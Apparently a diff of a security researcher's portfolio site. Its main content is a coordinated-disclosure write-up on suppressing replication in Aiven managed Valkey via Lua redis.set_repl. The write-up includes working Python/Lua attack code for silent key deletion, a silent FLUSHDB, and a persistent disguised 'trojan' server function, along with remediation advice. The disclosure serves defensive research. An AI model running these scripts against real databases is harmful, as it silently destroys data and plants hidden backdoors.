| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | .detail-hero{padding:40px 0 26px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;} | |
| + | .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;} | |
| + | .content{padding:8px 0 0;max-width:840px;} | |
| + | .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;} | |
| + | .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;} | |
| + | .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;} | |
| + | .content p{color:var(--soft);margin:0 0 15px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;} | |
| + | .content li{margin:5px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content a{color:var(--accent);} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);} | |
| + | .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;} | |
| + | /* notebook index */ | |
| + | .nbgroup{margin:40px 0 0;} | |
| + | .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;} | |
| + | .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;} | |
| + | .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .nbtable tr{border-top:1px solid var(--line);} | |
| + | .nbtable tr:first-child{border-top:none;} | |
| + | .nbtable tr:hover{background:var(--panel);} | |
| + | .nbtable td{padding:14px 16px;vertical-align:top;} | |
| + | .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;} | |
| + | .nbtable .ti a{font-weight:600;color:var(--ink);} | |
| + | .nbtable .ti a:hover{color:var(--accent);} | |
| + | .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;} | |
| + | @media(max-width:680px){.nbtable .cls{width:auto;display:block;}} | |
| + | </style><!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/security-research-notebook/valkey-replication-stealth/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="Replication Integrity Bypass via Lua `redis.set_repl(REPL_NONE)` Enables Silent Data Corruption and Persistent Backdoor Functions on Aiven Managed Valkey | Zion Boggan"> | |
| + | <meta property="og:description" content="Valkey replication stealth path bypasses listpack validation."> | |
| + | <meta property="og:url" content="https://zionboggan.com/security-research-notebook/valkey-replication-stealth/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="Replication Integrity Bypass via Lua `redis.set_repl(REPL_NONE)` Enables Silent Data Corruption and Persistent Backdoor Functions on Aiven Managed Valkey | Zion Boggan"> | |
| + | <meta name="twitter:description" content="Valkey replication stealth path bypasses listpack validation."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"Replication Integrity Bypass via Lua `redis.set_repl(REPL_NONE)` Enables Silent Data Corruption and Persistent Backdoor Functions on Aiven Managed Valkey","description":"Valkey replication stealth path bypasses listpack validation.","url":"https://zionboggan.com/security-research-notebook/valkey-replication-stealth/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head><body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/security-research-notebook/">← Research notebook</a> | |
| + | <div class="kicker">DoS / data integrity</div> | |
| + | <h1>Replication Integrity Bypass via Lua `redis.set_repl(REPL_NONE)` Enables Silent Data Corruption and Persistent Backdoor Functions on Aiven Managed Valkey</h1> | |
| + | </div></header> | |
| + | <section><div class="wrap"><div class="content"> | |
| + | <h2>Summary</h2> | |
| + | <p>Any authenticated user on Aiven’s managed Valkey service can use Lua scripting (<code>EVAL</code>) to call <code>redis.set_repl(redis.REPL_NONE)</code>, which suppresses replication of subsequent write commands. Writes execute on the master but are never propagated to replicas or the AOF. This allows an attacker to silently corrupt data, delete keys, or flush databases on the master while replicas maintain stale data, creating a split-brain condition that violates Aiven’s replication consistency guarantees.</p> | |
| + | <p>Additionally, the attacker can use <code>FUNCTION LOAD</code> to register <strong>persistent server-side functions</strong> that embed <code>redis.set_repl(REPL_NONE)</code> internally. These trojan functions survive across connections and restarts, and silently corrupt data every time any user (including the application itself) calls them. The function code appears benign, the replication suppression is invisible in the function signature.</p> | |
| + | <p>Redis’s own documentation explicitly warns: <em>“This is an advanced feature. Misuse can cause damage by violating the contract that binds the Redis master, its replicas, and AOF contents to hold the same logical content.”</em></p> | |
| + | <p>Aiven correctly disables replication topology commands (<code>REPLICAOF</code>, <code>SLAVEOF</code>, <code>CLUSTER</code>) and dangerous administrative commands (<code>CONFIG</code>, <code>DEBUG</code>, <code>BGSAVE</code>, <code>ACL</code>), demonstrating clear security intent. However, <code>redis.set_repl()</code> within Lua scripts is completely unrestricted, creating an inconsistency: <strong>replication topology is protected, but replication content integrity is not</strong>.</p> | |
| + | <h2>Affected Target</h2> | |
| + | <ul> | |
| + | <li><strong>Service:</strong> Aiven for Valkey (Tier 1)</li> | |
| + | <li><strong>Version tested:</strong> Valkey 8.1.4</li> | |
| + | <li><strong>Instance:</strong> <host>:26161</li> | |
| + | </ul> | |
| + | <h2>Severity</h2> | |
| + | <p><strong>P2, Sensitive Data Exposure / Data Integrity Violation</strong></p> | |
| + | <p><strong>VRT:</strong> Server Security Misconfiguration > Database Management System (DBMS) Misconfiguration</p> | |
| + | <p><strong>CVSS 3.1:</strong> <code>CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L</code>, <strong>Score: 8.5 (High)</strong></p> | |
| + | <ul> | |
| + | <li><strong>AV:N</strong>, Network-exploitable over TLS</li> | |
| + | <li><strong>AC:L</strong>, Single EVAL command, no preconditions</li> | |
| + | <li><strong>PR:L</strong>, Requires basic authentication (default user credentials)</li> | |
| + | <li><strong>UI:N</strong>, No user interaction required</li> | |
| + | <li><strong>S:C</strong>, Scope changed: attacker’s session creates data inconsistency that affects ALL clients reading from replicas, ALL failover operations, and Aiven’s own backup integrity</li> | |
| + | <li><strong>C:N</strong>, No direct data exfiltration</li> | |
| + | <li><strong>I:H</strong>, Complete violation of data integrity between master and replicas; silent, undetectable data corruption</li> | |
| + | <li><strong>A:L</strong>, Failover produces unexpected data state; intermittent application failures</li> | |
| + | </ul> | |
| + | <p><strong>Impact summary:</strong> | |
| + | - Any authenticated user can silently suppress replication of arbitrary write commands | |
| + | - Master and replica data diverge without any error, alert, or audit trail | |
| + | - On Business/Premium plans (2-3 nodes), failover produces unpredictable data state | |
| + | - Persistent trojan functions create permanent, invisible backdoors that corrupt data on every invocation | |
| + | - Violates the fundamental consistency guarantee that Aiven’s multi-node architecture is built on | |
| + | - Redis’s own documentation explicitly warns about this exact misuse scenario</p> | |
| + | <h2>Steps to Reproduce</h2> | |
| + | <h3>Prerequisites</h3> | |
| + | <ul> | |
| + | <li>An Aiven for Valkey instance (any plan)</li> | |
| + | <li>Authentication credentials (default user)</li> | |
| + | <li>Python 3 with <code>redis</code> package (<code>pip install redis</code>)</li> | |
| + | </ul> | |
| + | <h3>Attack 1: Silent Key Deletion (master diverges from replicas)</h3> | |
| + | <pre><code class="language-python">import redis | |
| + | ||
| + | r = redis.Redis( | |
| + | host="<host>", port=26161, username='default', password='<password>', | |
| + | ssl=True, ssl_cert_reqs='required', | |
| + | ssl_ca_certs='/etc/ssl/certs/ca-certificates.crt', | |
| + | decode_responses=True, socket_timeout=10 | |
| + | ) | |
| + | ||
| + | # Application sets important data | |
| + | r.set("user:session:admin", "active_session_token_xyz") | |
| + | ||
| + | # Attacker silently deletes it - master only, replicas unaffected | |
| + | r.execute_command('EVAL', ''' | |
| + | redis.set_repl(redis.REPL_NONE) | |
| + | redis.call("DEL", "user:session:admin") | |
| + | redis.set_repl(redis.REPL_ALL) | |
| + | return "silent delete executed" | |
| + | ''', 0) | |
| + | ||
| + | # Master: key is GONE | |
| + | print(r.exists("user:session:admin")) # 0 | |
| + | ||
| + | # Replica still has it → failover "resurrects" deleted data | |
| + | # Application sees intermittent, impossible-to-diagnose behavior | |
| + | </code></pre> | |
| + | <p><strong>Actual output on Aiven:</strong></p> | |
| + | <pre><code>silent delete executed | |
| + | Key exists on master after silent DEL: 0 | |
| + | --> Key deleted on master but replicas would still have it | |
| + | </code></pre> | |
| + | <h3>Attack 2: Silent FLUSHDB (wipe master, replicas unaffected)</h3> | |
| + | <pre><code class="language-python">r.execute_command('EVAL', ''' | |
| + | redis.call("SELECT", "1") | |
| + | redis.call("SET", "important_data", "production_config") | |
| + | redis.set_repl(redis.REPL_NONE) | |
| + | redis.call("FLUSHDB") | |
| + | redis.set_repl(redis.REPL_ALL) | |
| + | redis.call("SELECT", "0") | |
| + | return "FLUSHDB with REPL_NONE executed" | |
| + | ''', 0) | |
| + | </code></pre> | |
| + | <p><strong>Actual output on Aiven:</strong> <code>FLUSHDB with REPL_NONE executed</code></p> | |
| + | <p>The entire database is wiped on the master. Replicas retain all data. On failover, data “reappears”, but the master was serving empty responses to all clients during the divergence window.</p> | |
| + | <h3>Attack 3: Persistent Trojan Function (backdoor that survives restarts)</h3> | |
| + | <pre><code class="language-python"># Load a function that LOOKS innocent but silently corrupts data | |
| + | lib = '''#!lua name=app_helpers | |
| + | redis.register_function("cached_get", function(keys, args) | |
| + | -- Appears to be a simple cache helper | |
| + | -- But silently increments an invisible counter on every call | |
| + | redis.set_repl(redis.REPL_NONE) | |
| + | redis.call("INCR", "__shadow_ops_count__") | |
| + | redis.set_repl(redis.REPL_ALL) | |
| + | return redis.call("GET", keys[1]) | |
| + | end) | |
| + | ''' | |
| + | r.execute_command('FUNCTION', 'LOAD', lib) | |
| + | ||
| + | # Every time ANY user calls this function, the shadow counter increments | |
| + | # on the master only. Replicas never see it. | |
| + | for i in range(5): | |
| + | r.execute_command('FCALL', 'cached_get', 1, 'some_key') | |
| + | ||
| + | counter = r.get("__shadow_ops_count__") | |
| + | print(f"Shadow counter (master only): {counter}") | |
| + | # Output: Shadow counter (master only): 5 | |
| + | # Replicas see: 0 | |
| + | ||
| + | # The function persists across restarts via RDB/AOF | |
| + | # It's registered as "app_helpers.cached_get" - indistinguishable from | |
| + | # legitimate application functions | |
| + | </code></pre> | |
| + | <p><strong>Actual output on Aiven:</strong></p> | |
| + | <pre><code>Trojan function loaded: 'cached_get' | |
| + | Shadow counter (master only): 5 | |
| + | --> Counter incremented 5 times on master | |
| + | --> Replicas see counter as 0 (writes were REPL_NONE) | |
| + | --> This function PERSISTS across restarts via RDB/AOF | |
| + | </code></pre> | |
| + | <h2>Root Cause</h2> | |
| + | <h3>1. <code>redis.set_repl()</code> is unrestricted in Lua scripts</h3> | |
| + | <p>The <code>redis.set_repl()</code> function is available to all authenticated users through <code>EVAL</code>. There is no ACL restriction, no command flag, and no configuration option to disable it. Redis’s own documentation describes it as an “advanced feature” that “can cause damage by violating the contract that binds the Redis master, its replicas, and AOF contents to hold the same logical content.”</p> | |
| + | <h3>2. Inconsistent command restriction policy</h3> | |
| + | <p>Aiven correctly restricts replication and administrative commands:</p> | |
| + | <table> | |
| + | <thead> | |
| + | <tr> | |
| + | <th>Command</th> | |
| + | <th>Status</th> | |
| + | <th>Purpose</th> | |
| + | </tr> | |
| + | </thead> | |
| + | <tbody> | |
| + | <tr> | |
| + | <td><code>REPLICAOF</code> / <code>SLAVEOF</code></td> | |
| + | <td><strong>Disabled</strong></td> | |
| + | <td>Replication topology control</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td><code>CONFIG</code></td> | |
| + | <td><strong>Disabled</strong></td> | |
| + | <td>Server configuration</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td><code>DEBUG</code></td> | |
| + | <td><strong>Disabled</strong></td> | |
| + | <td>Server debugging</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td><code>ACL</code></td> | |
| + | <td><strong>Disabled</strong></td> | |
| + | <td>Access control</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td><code>BGSAVE</code> / <code>BGREWRITEAOF</code></td> | |
| + | <td><strong>Disabled</strong></td> | |
| + | <td>Persistence triggers</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td><code>CLUSTER</code></td> | |
| + | <td><strong>Disabled</strong></td> | |
| + | <td>Cluster topology</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td><code>MIGRATE</code></td> | |
| + | <td><strong>Disabled</strong></td> | |
| + | <td>Data migration</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td><code>redis.set_repl()</code> in Lua</td> | |
| + | <td><strong>Allowed</strong></td> | |
| + | <td><strong>Replication content control</strong></td> | |
| + | </tr> | |
| + | </tbody> | |
| + | </table> | |
| + | <p>The policy disables commands that control replication <em>topology</em> (SLAVEOF, CLUSTER) but does not restrict the Lua function that controls replication <em>content</em> (set_repl). This is an inconsistency, both are replication manipulation capabilities.</p> | |
| + | <h3>3. FUNCTION LOAD enables persistent exploitation</h3> | |
| + | <p>The <code>FUNCTION LOAD</code> command is available (confirmed: successfully loaded and executed a function library). Functions persist in the server state and survive restarts via RDB/AOF. A function embedding <code>redis.set_repl(REPL_NONE)</code> creates a permanent backdoor that operates invisibly on every invocation.</p> | |
| + | <h2>Impact on Aiven Multi-Node Plans</h2> | |
| + | <p>Aiven offers three plan tiers with different node counts: | |
| + | - <strong>Hobbyist/Startup:</strong> 1 node (no replicas, attack creates master/AOF divergence) | |
| + | - <strong>Business:</strong> 2 nodes (master + 1 replica) | |
| + | - <strong>Premium:</strong> 3 nodes (master + 2 replicas)</p> | |
| + | <p>On Business and Premium plans, the replication divergence has direct operational impact:</p> | |
| + | <ol> | |
| + | <li> | |
| + | <p><strong>Silent data loss:</strong> Keys deleted with REPL_NONE are gone from the master but exist on replicas. Applications reading from the master see missing data; failover to a replica “resurrects” the data.</p> | |
| + | </li> | |
| + | <li> | |
| + | <p><strong>Silent data corruption:</strong> Keys SET with REPL_NONE have different values on master vs replicas. Read-after-write consistency is violated silently.</p> | |
| + | </li> | |
| + | <li> | |
| + | <p><strong>Backup poisoning:</strong> If REPL_NONE writes land in an RDB backup taken from the master, restoring from that backup produces a state that never existed on replicas.</p> | |
| + | </li> | |
| + | <li> | |
| + | <p><strong>Impossible diagnosis:</strong> There is no error, no log entry, no monitoring alert. The commands execute successfully. Aiven’s internal monitoring (<code>INFO</code> every 5 seconds) does not detect replication content divergence, it only monitors replication lag (bytes behind), not data consistency.</p> | |
| + | </li> | |
| + | <li> | |
| + | <p><strong>Trojan functions:</strong> An attacker can load a persistent function, then disconnect. The function continues operating every time the application calls it. The attack persists indefinitely with no ongoing attacker presence.</p> | |
| + | </li> | |
| + | </ol> | |
| + | <h2>Aiven-Specific Nature</h2> | |
| + | <p>This is NOT merely an upstream Valkey/Redis issue. The finding is specific to how Aiven configures and manages their Valkey service:</p> | |
| + | <ol> | |
| + | <li> | |
| + | <p><strong>Aiven’s security model disables dangerous commands</strong>, CONFIG, DEBUG, SLAVEOF, etc. are all renamed/disabled. This demonstrates that Aiven actively restricts dangerous capabilities. But <code>redis.set_repl()</code> within Lua was not included in these restrictions.</p> | |
| + | </li> | |
| + | <li> | |
| + | <p><strong>Aiven sells multi-node plans with replication guarantees</strong>, Business and Premium plans explicitly provide high availability through replication. <code>redis.set_repl(REPL_NONE)</code> allows a user to silently violate these guarantees.</p> | |
| + | </li> | |
| + | <li> | |
| + | <p><strong>Aiven’s documentation implies consistent replication</strong>, Customers expect that data written to the master will be available on replicas. This attack violates that expectation without any visible error.</p> | |
| + | </li> | |
| + | </ol> | |
| + | <h2>Recommended Fix</h2> | |
| + | <ol> | |
| + | <li> | |
| + | <p><strong>Immediate:</strong> Restrict <code>redis.set_repl()</code> by either:, Disabling it entirely for client scripts (return an error when called from EVAL/FCALL), Adding an ACL flag (e.g., <code>@admin</code>) that must be explicitly granted, Limiting it to <code>REPL_ALL</code> only (block <code>REPL_NONE</code>, <code>REPL_AOF</code>, <code>REPL_REPLICA</code>)</p> | |
| + | </li> | |
| + | <li> | |
| + | <p><strong>Defense in depth:</strong> Consider restricting <code>FUNCTION LOAD</code> to prevent persistent function registration by default users, or audit loaded functions for <code>set_repl</code> calls.</p> | |
| + | </li> | |
| + | <li> | |
| + | <p><strong>Detection:</strong> Add monitoring for replication content divergence (not just lag). Compare key counts or checksums between master and replicas periodically.</p> | |
| + | </li> | |
| + | </ol> | |
| + | <h2>Proof of concept</h2> | |
| + | <ul> | |
| + | <li><a href="poc/valkey-restore-crash.py"><code>poc/valkey-restore-crash.py</code></a>, minimum-crash repro.</li> | |
| + | <li><a href="poc/valkey-full-chain.py"><code>poc/valkey-full-chain.py</code></a>, full chain including the stealth-replication primitive.</li> | |
| + | </ul> | |
| + | <pre><code class="language-bash">python3 poc/valkey-restore-crash.py <host> <port> <password> | |
| + | </code></pre> | |
| + | <hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source · github.com/zionboggan/security-research-notebook · writeups/aiven/valkey-replication-stealth.md</p> | |
| + | </div></div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div> | |
| + | <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div> | |
| + | </div></footer> | |
| + | </body></html> |
| @@ -0,0 +1,50 @@ | ||
| + | <?xml version="1.0" encoding="UTF-8"?> | |
| + | <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> | |
| + | <url><loc>https://zionboggan.com/</loc><lastmod>2026-05-30</lastmod><priority>1.0</priority></url> | |
| + | <url><loc>https://zionboggan.com/cicd-supply-chain-security/</loc><lastmod>2026-05-30</lastmod><priority>0.8</priority></url> | |
| + | <url><loc>https://zionboggan.com/cti-detection-automation/</loc><lastmod>2026-05-30</lastmod><priority>0.8</priority></url> | |
| + | <url><loc>https://zionboggan.com/detection-as-code/</loc><lastmod>2026-05-30</lastmod><priority>0.8</priority></url> | |
| + | <url><loc>https://zionboggan.com/jwt-differential-fuzzer/</loc><lastmod>2026-05-30</lastmod><priority>0.8</priority></url> | |
| + | <url><loc>https://zionboggan.com/prediction-market-bot-postmortem/</loc><lastmod>2026-05-30</lastmod><priority>0.8</priority></url> | |
| + | <url><loc>https://zionboggan.com/purple-team-lab/</loc><lastmod>2026-05-30</lastmod><priority>0.8</priority></url> | |
| + | <url><loc>https://zionboggan.com/secure-cicd-pipeline/</loc><lastmod>2026-05-30</lastmod><priority>0.8</priority></url> | |
| + | <url><loc>https://zionboggan.com/security-research-notebook/</loc><lastmod>2026-05-30</lastmod><priority>0.8</priority></url> | |
| + | <url><loc>https://zionboggan.com/soc-automation-lab/</loc><lastmod>2026-05-30</lastmod><priority>0.8</priority></url> | |
| + | <url><loc>https://zionboggan.com/security-research-notebook/00-SUMMARY/</loc><lastmod>2026-05-30</lastmod><priority>0.6</priority></url> | |
| + | <url><loc>https://zionboggan.com/security-research-notebook/01-ring-pedersen-degenerate-params-P4/</loc><lastmod>2026-05-30</lastmod><priority>0.6</priority></url> | |
| + | <url><loc>https://zionboggan.com/security-research-notebook/02-destructor-heap-overflow-P2/</loc><lastmod>2026-05-30</lastmod><priority>0.6</priority></url> | |
| + | <url><loc>https://zionboggan.com/security-research-notebook/03-mta-batch-verification-8bit-randomness-P2/</loc><lastmod>2026-05-30</lastmod><priority>0.6</priority></url> | |
| + | <url><loc>https://zionboggan.com/security-research-notebook/04-fiat-shamir-truncation-mta-P3/</loc><lastmod>2026-05-30</lastmod><priority>0.6</priority></url> | |
| + | <url><loc>https://zionboggan.com/security-research-notebook/05-integer-overflow-quadratic-zkp-deser-P3/</loc><lastmod>2026-05-30</lastmod><priority>0.6</priority></url> | |
| + | <url><loc>https://zionboggan.com/security-research-notebook/06-alloca-stack-overflow-range-proofs-P3/</loc><lastmod>2026-05-30</lastmod><priority>0.6</priority></url> | |
| + | <url><loc>https://zionboggan.com/security-research-notebook/07-offline-ecdsa-no-sig-verify-P3/</loc><lastmod>2026-05-30</lastmod><priority>0.6</priority></url> | |
| + | <url><loc>https://zionboggan.com/security-research-notebook/08-eddsa-unsalted-commitment-P3/</loc><lastmod>2026-05-30</lastmod><priority>0.6</priority></url> | |
| + | <url><loc>https://zionboggan.com/security-research-notebook/aiven-clickhouse-jsonmergepatch-stack-overflow/</loc><lastmod>2026-05-30</lastmod><priority>0.6</priority></url> | |
| + | <url><loc>https://zionboggan.com/security-research-notebook/cve-2024-32972-getblockheaders-underflow/</loc><lastmod>2026-05-30</lastmod><priority>0.6</priority></url> | |
| + | <url><loc>https://zionboggan.com/security-research-notebook/dnsupdate-delete-validation-gap/</loc><lastmod>2026-05-30</lastmod><priority>0.6</priority></url> | |
| + | <url><loc>https://zionboggan.com/security-research-notebook/dragonfly-stream-restore-oom/</loc><lastmod>2026-05-30</lastmod><priority>0.6</priority></url> | |
| + | <url><loc>https://zionboggan.com/security-research-notebook/email-enumeration-timing/</loc><lastmod>2026-05-30</lastmod><priority>0.6</priority></url> | |
| + | <url><loc>https://zionboggan.com/security-research-notebook/httptest-ipv6-loopback-ssrf/</loc><lastmod>2026-05-30</lastmod><priority>0.6</priority></url> | |
| + | <url><loc>https://zionboggan.com/security-research-notebook/kafka-karapace-gzip-bomb-dos/</loc><lastmod>2026-05-30</lastmod><priority>0.6</priority></url> | |
| + | <url><loc>https://zionboggan.com/security-research-notebook/mattermost-shared-channel-authz-bypass/</loc><lastmod>2026-05-30</lastmod><priority>0.6</priority></url> | |
| + | <url><loc>https://zionboggan.com/security-research-notebook/mysql-credential-exposure/</loc><lastmod>2026-05-30</lastmod><priority>0.6</priority></url> | |
| + | <url><loc>https://zionboggan.com/security-research-notebook/onvif-rtsp-websocket-unauth/</loc><lastmod>2026-05-30</lastmod><priority>0.6</priority></url> | |
| + | <url><loc>https://zionboggan.com/security-research-notebook/openpgpjs-cve-2025-47934-rootcause/</loc><lastmod>2026-05-30</lastmod><priority>0.6</priority></url> | |
| + | <url><loc>https://zionboggan.com/security-research-notebook/pg-autovacuum-code-execution/</loc><lastmod>2026-05-30</lastmod><priority>0.6</priority></url> | |
| + | <url><loc>https://zionboggan.com/security-research-notebook/pg-gatekeeper-bypass-shadow-functions/</loc><lastmod>2026-05-30</lastmod><priority>0.6</priority></url> | |
| + | <url><loc>https://zionboggan.com/security-research-notebook/pg-secdef-dblink-superuser-chain/</loc><lastmod>2026-05-30</lastmod><priority>0.6</priority></url> | |
| + | <url><loc>https://zionboggan.com/security-research-notebook/pg-subscription-ownership-escalation/</loc><lastmod>2026-05-30</lastmod><priority>0.6</priority></url> | |
| + | <url><loc>https://zionboggan.com/security-research-notebook/pg-unqualified-parse-ident-secdef/</loc><lastmod>2026-05-30</lastmod><priority>0.6</priority></url> | |
| + | <url><loc>https://zionboggan.com/security-research-notebook/pingtest-ssrf-missing-validateaddr/</loc><lastmod>2026-05-30</lastmod><priority>0.6</priority></url> | |
| + | <url><loc>https://zionboggan.com/security-research-notebook/project-name-enumeration/</loc><lastmod>2026-05-30</lastmod><priority>0.6</priority></url> | |
| + | <url><loc>https://zionboggan.com/security-research-notebook/qbft-hasbadproposal-consensus-stall/</loc><lastmod>2026-05-30</lastmod><priority>0.6</priority></url> | |
| + | <url><loc>https://zionboggan.com/security-research-notebook/sequoia-pgp-variant-hunting-1/</loc><lastmod>2026-05-30</lastmod><priority>0.6</priority></url> | |
| + | <url><loc>https://zionboggan.com/security-research-notebook/sequoia-pgp-variant-hunting-2/</loc><lastmod>2026-05-30</lastmod><priority>0.6</priority></url> | |
| + | <url><loc>https://zionboggan.com/security-research-notebook/sequoia-pgp-variant-hunting-3/</loc><lastmod>2026-05-30</lastmod><priority>0.6</priority></url> | |
| + | <url><loc>https://zionboggan.com/security-research-notebook/snmp-community-string-viewer-disclosure/</loc><lastmod>2026-05-30</lastmod><priority>0.6</priority></url> | |
| + | <url><loc>https://zionboggan.com/security-research-notebook/sql-query-optimizer-idor/</loc><lastmod>2026-05-30</lastmod><priority>0.6</priority></url> | |
| + | <url><loc>https://zionboggan.com/security-research-notebook/ssrf-via-image-pipeline/</loc><lastmod>2026-05-30</lastmod><priority>0.6</priority></url> | |
| + | <url><loc>https://zionboggan.com/security-research-notebook/systemd-coredump-resolved-audit-log/</loc><lastmod>2026-05-30</lastmod><priority>0.6</priority></url> | |
| + | <url><loc>https://zionboggan.com/security-research-notebook/valkey-aslr-leak/</loc><lastmod>2026-05-30</lastmod><priority>0.6</priority></url> | |
| + | <url><loc>https://zionboggan.com/security-research-notebook/valkey-replication-stealth/</loc><lastmod>2026-05-30</lastmod><priority>0.6</priority></url> | |
| + | </urlset> |
| @@ -0,0 +1,295 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"> | |
| + | <head> | |
| + | <meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>SOC Automation Lab | Zion Boggan</title> | |
